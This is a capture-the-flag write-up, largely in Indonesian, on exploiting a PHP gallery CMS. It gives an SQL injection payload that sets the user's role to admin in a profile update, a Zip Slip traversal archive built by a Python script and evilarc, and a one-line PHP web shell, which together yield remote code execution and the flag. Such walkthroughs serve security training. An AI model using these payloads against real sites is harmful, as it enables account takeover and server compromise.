Shirogane
A whiteboxed web exploit challenge. But there’s two steps:
- SQL Injection to get Admin
- Zip Slip to get RCE
TL;DR
A whiteboxed web exploit challenge. But there’s two steps:
SQL Injectionto getAdminZip Slipto getRCE
AI
Challenge
Poin / solves: 460 / 15
Desc:
- A boutique film studio ships its gallery CMS. The darkroom is only one request away.
Whitebox
Recon
Kita diberikan source code yang basisnya PHP dan menggunakan Apache.
~/ctf/playit/web/shirogane/instance
❯ tree 16:58:55
.
├── db
│ └── schema.sql
├── docker-compose.yml
└── web
├── apache
│ └── shirogane.conf
├── app
│ ├── bootstrap.php
│ ├── config.php
│ ├── controllers
│ │ ├── account.php
│ │ ├── admin.php
│ │ ├── auth.php
│ │ └── pages.php
│ ├── database.php
│ ├── helpers.php
│ ├── scripts
│ │ └── install.php
│ ├── session.php
│ ├── view.php
│ └── views
│ ├── account.php
│ ├── admin_dashboard.php
│ ├── admin_import.php
│ ├── error.php
│ ├── gallery.php
│ ├── home.php
│ ├── layout.php
│ ├── login.php
│ └── register.php
├── Dockerfile
├── entrypoint.sh
└── public
├── assets
│ ├── app.css
│ ├── app.js
│ └── fonts
│ ├── archivo-400.woff2
│ ├── archivo-500.woff2
│ ├── archivo-600.woff2
│ ├── archivo-700.woff2
│ └── archivo-800.woff2
├── galleries
│ ├── harbor-fog
│ │ ├── 01-pier.webp
│ │ ├── 02-mooring-rope.webp
│ │ ├── 03-fishing-boat.webp
│ │ ├── 04-fisherman.webp
│ │ ├── 05-warehouse.webp
│ │ └── gallery.json
│ └── night-shift
│ ├── 01-loading-dock.webp
│ ├── 02-rainy-alley.webp
│ ├── 03-workers-hands.webp
│ ├── 04-freight-train.webp
│ └── gallery.json
└── index.php
14 directories, 44 files
Kita mulai dari app/ terlebih dahulu ngeliat filenya.
~/ctf/playit/web/shirogane/instance/web/app
❯ cat config.php 17:00:01
<?php
function config(): array
{
static $config = null;
if ($config !== null) {
return $config;
}
$root = dirname(__DIR__);
$config = [
'app_root' => $root,
'public_root' => $root . '/public',
'galleries_dir' => $root . '/public/galleries',
'views_dir' => __DIR__ . '/views',
'db' => [
'host' => getenv('DB_HOST') ?: 'db',
'port' => (int) (getenv('DB_PORT') ?: 3306),
'name' => getenv('DB_NAME') ?: 'shirogane',
'user' => getenv('DB_USER') ?: 'shirogane',
'pass' => getenv('DB_PASS') ?: 'shirogane',
],
'admin' => [
'username' => getenv('ADMIN_USERNAME') ?: 'admin',
'password' => getenv('ADMIN_PASSWORD') ?: 'shirogane-admin',
],
];
return $config;
}
Okay keliatan normal, kita perlu catat galleries_dirnya.
~/ctf/playit/web/shirogane/instance/web
❯ cat app/session.php 18:36:35
<?php
function start_session(): void
{
if (session_status() === PHP_SESSION_NONE) {
session_name('shirogane');
session_start();
}
}
function current_user(): ?array
{
if (empty($_SESSION['user_id'])) {
return null;
}
$stmt = db()->prepare('SELECT id, username, display_name, bio, role FROM users WHERE id = ?');
$stmt->bind_param('i', $_SESSION['user_id']);
$stmt->execute();
$user = $stmt->get_result()->fetch_assoc();
return $user ?: null;
}
function login_user(array $user): void
{
session_regenerate_id(true);
$_SESSION['user_id'] = (int) $user['id'];
}
function logout_user(): void
{
$_SESSION = [];
session_destroy();
}
function require_login(): array
{
$user = current_user();
if ($user === null) {
redirect('/login');
}
return $user;
}
function require_admin(): array
{
$user = require_login();
if ($user['role'] !== 'admin') {
http_response_code(403);
render('error', ['title' => 'Forbidden', 'message' => 'This darkroom is reserved for studio administrators.']);
exit;
}
return $user;
}
Dari file tersebut, kita bisa ngelihat kalau kita harus ngeganti role menjadi admin biar bisa ngeakses banyak hal (function require_admin).
Baru sekarang kita ngelihat controllers/ untuk mencari vulnerability si web ini.
Vulnerability
~/ctf/playit/web/shirogane/instance/web/app
❯ cat controllers/account.php 18:08:25
<?php
function account_show(): void
{
$user = require_login();
render('account', ['user' => $user]);
}
function account_update(): void
{
$user = require_login();
verify_csrf();
$displayName = $_POST['display_name'] ?? '';
$bio = $_POST['bio'] ?? '';
$sql = "UPDATE users SET display_name = '$displayName', bio = '$bio' WHERE id = " . $user['id'];
db()->query($sql);
flash('Your profile has been updated.');
redirect('/account');
}
Dapat dilihat di situ kalau ada vulnerability SQL Injection. Karena php akan selalu tetap mengevaluasi variable $displayName, $bio, dan $user['id'] sebelum mengirimkan query sql tersebut ke database. Karena dia memakai tanda petik dua ", jadinya kita bisa ngeinject query SQL tersebut.
Tetapi biar bisa interaksi sama vuln itu kita harus sudah login, jadi kita register akun baru terlebih dahulu setelah itu kita bisa lakuin exploitnya.
Kita register di endpoint /register terlebih dahulu, nanti ke redirect ke halaman update (controllers/auth.php).
Okay sekarang kita sudah masuk ke endpoint /account, yang di mana di endpoint itulah ada vulnerability SQL Injection karena kita ngeupdate profile kita.
Looking back again at the query:
$sql = "UPDATE users SET display_name = '$displayName', bio = '$bio' WHERE id = " . $user['id'];
It’s not sanitized, so we can input single quote to exploit this query. We can create the exploit like this for the bio parameter:
', role='admin
Kita pencet save profile terus kita modified requestnya menggunakan Burpsuite. Kita tambahkan payload kita tadi di parameter bio. (the host changed because i forgot to extend the duration tehee 🦉)
Then we got then admin 💛
How the payload works?
The single quote and comma diawal
',Menjadikan
querynya menjadi seperti ini:$sql = "UPDATE users SET display_name = '$displayName', bio = '', ' WHERE id = " . $user['id'];Menjadikan bio itu stop disitu dan kita bisa menambahkan additional query that seharusnya tidak bisa. Kita bisa menambahkan seperti
role=atau column yang lainnya ada di databasenya setelah koma.role='adminNgejadiin
querynya jadi:$sql = "UPDATE users SET display_name = '$displayName', bio = '', role='admin' WHERE id = " . $user['id'];So technically kita ngeubah role kita menjadi
adminyang di mana seharusnya ini tidak bisa karena tidak ada di query, tapi SQL Injection merubah intended programnya.
Setelah kita dapet akses jadi admin, kita buka opsi Darkroom yang di mana setelah kalian buka dia akan ngarahin kita ke endpoint /admin.
As we can see too, di situ ada import a roll. Jadi ini bisa aja stage 2 untuk ngeupload file.
Turns out ternyata benar, di sini ada upload sebuah attachment. Sekarang kita lihat code dibalik ini.
~/ctf/playit/web/shirogane/instance/web
❯ cat app/controllers/admin.php 18:38:02
<?php
function admin_dashboard(): void
{
$user = require_admin();
render('admin_dashboard', ['user' => $user, 'galleries' => galleries()]);
}
function admin_import_show(): void
{
require_admin();
render('admin_import', []);
}
function admin_import_submit(): void
{
require_admin();
verify_csrf();
$file = $_FILES['archive'] ?? null;
if ($file === null || $file['error'] !== UPLOAD_ERR_OK) {
render('admin_import', ['error' => 'Choose a .zip archive to import.']);
return;
}
if (strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)) !== 'zip') {
render('admin_import', ['error' => 'Only .zip archives are accepted.']);
return;
}
$zip = new ZipArchive();
if ($zip->open($file['tmp_name']) !== true) {
render('admin_import', ['error' => 'That archive could not be opened.']);
return;
}
$target = config()['galleries_dir'] . '/import_' . bin2hex(random_bytes(4));
mkdir($target, 0775, true);
$imported = 0;
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
if (substr($name, -1) === '/') {
continue;
}
$destination = $target . '/' . $name;
@mkdir(dirname($destination), 0775, true);
file_put_contents($destination, $zip->getFromIndex($i));
$imported++;
}
$zip->close();
flash('Imported ' . $imported . ' files into a new gallery.');
redirect('/admin');
}
Dapat kita lihat kalau di sini ada kerentanan Directory Traversal, yang di mana ini dinamakan vulnerability Zip Slip. How? Karena tidak ada sanitasi input seperti ../ for a bare minimum.
Kita juga dapat melihat juga kalau dia itu juga ngasih permissionnya itu executable, jadi kita bisa inject file .php baru yang di mana leads us to Remote Code Execution (RCE).
Jadi sebagai contoh kita bisa memasukkan file exploit.php yang di mana dia ngejalanin shell terus kita bisa akses file tersebut karena Directory Traversal, jadi kita taruh file exploit.php di public/ dengan cara ../../. Karena by default dia dismpan di /public/galleries/import_<randomhex>.
@mkdir(dirname($destination), 0775, true);
https://github.com/ptoomey3/evilarc
Kalau kita pakai itu kita tinggal jalanin:
python evilarc.py -f exploit.zip -o unix -p "shell.php" -d 2 payload.php
Yang di mana:
💡
-f: Nama file ZIP hasil.-d 2: Jumlah kedalaman../(For our case kita butuh:../../makanya kita kasih 2).payload.php: File lokal yang berisi skrip PHP kita.
Terus isi payload.php-nya adalah:
<?php system($_REQUEST[0]); ?>
Aku dapet referensinya dari sini (dulu sempet ngerjain, jadinya masih inget):
Sebenarnya kita bisa ngerakit file .zipnya menggunakan tools itu tetapi karena aku terlalu malas menanggapi ya kita lempar AI aja 🥶.
Kita bisa menggunakan script ini untuk ngecreate file exploitnya:
import zipfile
# Nama file ZIP yang akan kamu upload
zip_name = "exploit.zip"
# Payload PHP yang akan dieksekusi
# Menggunakan $_REQUEST[0] sesuai referensi kamu
payload = "<?php system($_REQUEST[0]); ?>"
# Nama entri di dalam ZIP
# Kamu perlu menebak kedalaman folder import_<random>
# Contoh: jika folder import berada di /public/galleries/import_abc/
# dan kamu ingin menulis ke /public/shell.php, kamu butuh ../../shell.php
# Karena $target = /public/galleries/import_abc
# Maka $destination = /public/galleries/import_abc/../../shell.php = /public/shell.php
traversal_path = "../../shell.php"
# Membuat ZIP
with zipfile.ZipFile(zip_name, 'w') as zf:
# writestr memungkinkan kita menentukan nama entri secara manual
zf.writestr(traversal_path, payload)
print(f"File {zip_name} berhasil dibuat dengan entri: {traversal_path}")
Oke sudah jadi file exploit.zipnya. Sekarang kita bisa upload file itu di /admin/import.
Jika sudah, sekarang kita akses file tersebut sesuai nama dan parameter yang tadi kita masukkan.
Just like that, we got RCE. Now let’s open the flag that located at /.
Now we open the flag:
Dapet deh, tapi flagnya beda karena ini recreate. Originalnya itu ini:
Flag
PLAYITPLUS{904af8d2487a0dc563af637b879ead350c8a4c75e3dc736057fba35ca2a44db2}